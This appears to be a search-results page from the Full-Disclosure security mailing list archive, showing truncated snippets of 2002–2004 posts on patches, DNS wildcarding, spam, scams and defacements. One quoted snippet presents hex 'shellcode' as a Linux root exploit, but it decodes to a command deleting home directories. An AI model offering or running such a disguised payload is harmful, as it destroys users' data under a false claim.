- Original Message -
From: "Schmehl, Paul L" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Friday, February 27, 2004 6:05 PM
Subject: RE: [Full-Disclosure] And how long have buffer overflows been
around?
[snip]
> > Does anyone know if the concept of "Windows tim
- Original Message -
From: "CHS" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Thursday, February 12, 2004 8:28 AM
Subject: Re: [Full-Disclosure] HELLO
>
> wow, has ALL of cisco been 0wned?
>
> am I the only one who sees just how absolutely fscking hilarious th
- Original Message -
From: "Exibar" <[EMAIL PROTECTED]>
[snip]
> I agree 100%! I could care less what those who live in other countries
> say, because they know deep down, that if they were the victims of a 9/11
> type attack, they would be asking the good old USA for help. And we WO
- Original Message -
From: "madsaxon" <[EMAIL PROTECTED]>
[snip]
> Agreed. Has anyone asked Dan for his take, I wonder?
>From http://www.eweek.com/article2/0,4149,1304909,00.asp
"The Venn diagram of facts doesn't intersect. The intersection of all of
those statements is the null set,"
- Original Message -
From: "Michael Scheidell" <[EMAIL PROTECTED]>
[snip]
> One more interesting thing, if you have a client who has given you ip
> addresses for external testing, and these ip addresses rdns to a domain
> that doens't FWD resolve, you wil end up pen testing verisign's co
- Original Message -
From: "Rainer Gerhards" <[EMAIL PROTECTED]>
[snip]
> I don't like what Verisign does. But localhost.localdomain.com is not a
> safe domain name. I'd recommend either to use one registered to your
> organization or use one of those from
> http://www.faqs.org/rfcs/rfc
Instead of "spot the fed", how about "spot the plugger" ?
http://www.internalmemos.com/memos/memodetails.php?memo_id=1739
;-)
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Original Message -
From: "Pamela Patterson" <[EMAIL PROTECTED]>
[snip]
> Spamassasin deducts a couple of points from the Spam Score of a message
> if it's PGP signed. It wouln't surprise me if other spam filters do as
> well.
Which doesn't go far when (for example, SA) still gives a s
- Original Message -
From: <[EMAIL PROTECTED]>
[snip]
> Sounds like a fine idea, but there is another one like it, I've been
> on it for a month now:
> http://secunia.com/secunia_security_advisories/
>
> I find it better, no html crap, well it doesn't seem to be 24/7, but
> they do cut
- Original Message -
From: "Andreia Gaita" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Friday, July 11, 2003 7:25 PM
Subject: OT: Re: [Full-Disclosure] The incredible intolerance of Knud
[snip]
> Just my 2 (off-topic) cents.
To throw in another 0.0456 euros's, as of IE6 SP
- Original Message -
From: "Peter Kruse" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, June 26, 2003 1:57 PM
Subject: SV: [Full-Disclosure] A worm...
[snip]
> malicious code inside the new rar format and spread it. I suppose it´s
> fairly easy to write a worm that packs it
- Original Message -
From: "northern snowfall" <[EMAIL PROTECTED]>
> Can you add an 'I know enough to skip over most of his emails'
> option. Sometimes, I find people fail to remember that they have
> a choice to click on that new email they've received. Isn't this
> what people have bee
- Original Message -
From: "John Andersen" <[EMAIL PROTECTED]>
> I can't believe any rational person would click a link in THIS mailing
list
> without at first a casual inspection.
Believe it mate - personally I think we need more of it as a Darwinian
winnowing exercise ;-)
Still, even
- Original Message -
From: "Shawn McMahon" <[EMAIL PROTECTED]>
This is why they're called 419 scams, instead of Nigerian scams, in law
enforcement circles.
[snip]
Which is why they are are called 419 scams as that's the Nigerian penal code
for advance fee fraud.
Might I suggest your LE
And yet another MTA kicks in courtsesy of [EMAIL PROTECTED] - eight
from this list and a bounce from the whois info from DENIC :(
*sigh* It's going to be one of those weeks... I need some beer ;-)
Cheers.
- Original Message -
From: <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wedne
- Original Message -
From: "yossarian" <[EMAIL PROTECTED]>
To: "Sung J. Choe" <[EMAIL PROTECTED]>; "'Paul Schmehl'" <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Thursday, February 13, 2003 12:01 AM
Subject: Re: [Full-Disclosure] Unusual request
RE: [Full-Disclosure] Unusual requestI
- Original Message -
From: "Richard M. Smith" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; "'Richard M. Smith'"
<[EMAIL PROTECTED]>
Sent: Tuesday, January 21, 2003 3:05 AM
Subject: [Full-Disclosure] Drive-by download from a spam email message
> Hi,
>
> I just tried to opt-out from a spam
>Get r00t on any Linux x86 system
>With the below shellcode.
>
>It uses an exploit in the linux
>kernel to elevate privilages to root!
>
> */
> char shellcode[] =
> "\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
> "\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
> "\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
> "\x72\x
Set Killfiles to u. Kill, Mr Sulu ;-)
(Especially when the signature seems to fail)
Cheers.
- Original Message -
From: "David Vincent" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, October 10, 2002 9:41 PM
Subject: RE: [Full-Disclosure] 60 Poot ze-a cheekee in de
- Original Message -
From: "HggdH" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Friday, October 11, 2002 12:41 AM
Subject: Fw: [Full-Disclosure] Outlook Express Remote Code Execution in
Preview Pane (S/MIME)
> I went ahead, and downloaded and applied the patch to one of my systems.
It's even easier to ignore now, even if you don't know how to read SMTP
headers ;-)
From: [EMAIL PROTECTED]
Mime-Version: 1.0
Content-type: multipart/mixed; boundary=separator
Message-Id: <[EMAIL PROTECTED]>
X-AntiAbuse: This header was added to track abuse, please include it with
any abuse repor
> It is quite lame to make this only available via Windows Update. A lot of
As a few people pointed out to me, the corporate version of windows update
is no longer working.
Mea Culpa.
However, there is another way ;-)
http://www.ntbugtraq.com/redisWU.asp
OK so it's a bit painful but it does mea
an be enumerated, as can personnel absence
Author : Nexus <[EMAIL PROTECTED]>
Vend Status: Out of Jolt bummer said Dougal
CVE: It's too common for a CVE Reference... well actually, I haven't asked
them
Overview
The names, contact details and presence at work of Administrators and
Secur
ialler scam.
Cheers.
Received: from mmx (abn195-23.izmir-ports.kablonet.net.tr [195.174.195.23])
by i-way.co.uk (8.9.3/8.9.3) with SMTP id RAA16671
for <[EMAIL PROTECTED]>; Sun, 22 Sep 2002 17:00:13 +0100
Message-Id: <[EMAIL PROTECTED]>
From: "coderip" <[EMAIL PROTECTED]>
- Original Message -
From: "Moyer, Shawn" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, September 21, 2002 1:16 AM
Subject: RE: [Full-Disclosure] Re: MS-02-052
[snip]
> It is quite lame to make this only available via Windows Update. A lot of
> people are deploying their own
- Original Message -
From: "Steve" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Friday, September 20, 2002 5:59 PM
Subject: Re: [Full-Disclosure] Re: MS-02-052
> Hehe, right you are.
>
> But we've got more valuable things to do with our time than chasing
> patches that will never f
- Original Message -
From: "Steve" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Friday, September 20, 2002 4:19 PM
Subject: Re: [Full-Disclosure] Re: MS-02-052
[snip]
> else. I've banned windows in our server room. Removed IE, Outlook,
> Media Player etc. I'm
> > However, you could acknowledge that we were not the
> > only one at the same time. Untold security companies
> > and sites were defaced by PoizonB0x and others
> > in that very same period. Including: SecurityNewsportal, CNet,
> > Attrition, Lucent. Microsoft (18 times in total?), SANS,
> >
> > [EMAIL PROTECTED] is _not_ [EMAIL PROTECTED] and is not GOBBLES.
>
> More than one GOBBLES there is.
>
More than one X-Originating-Ip: 62.153.252.11 there also is, ?
;-)
Es tut mir lied, na ?
___
Full-Disclosure - We believe in it.
Charte
29 matches
Mail list logo
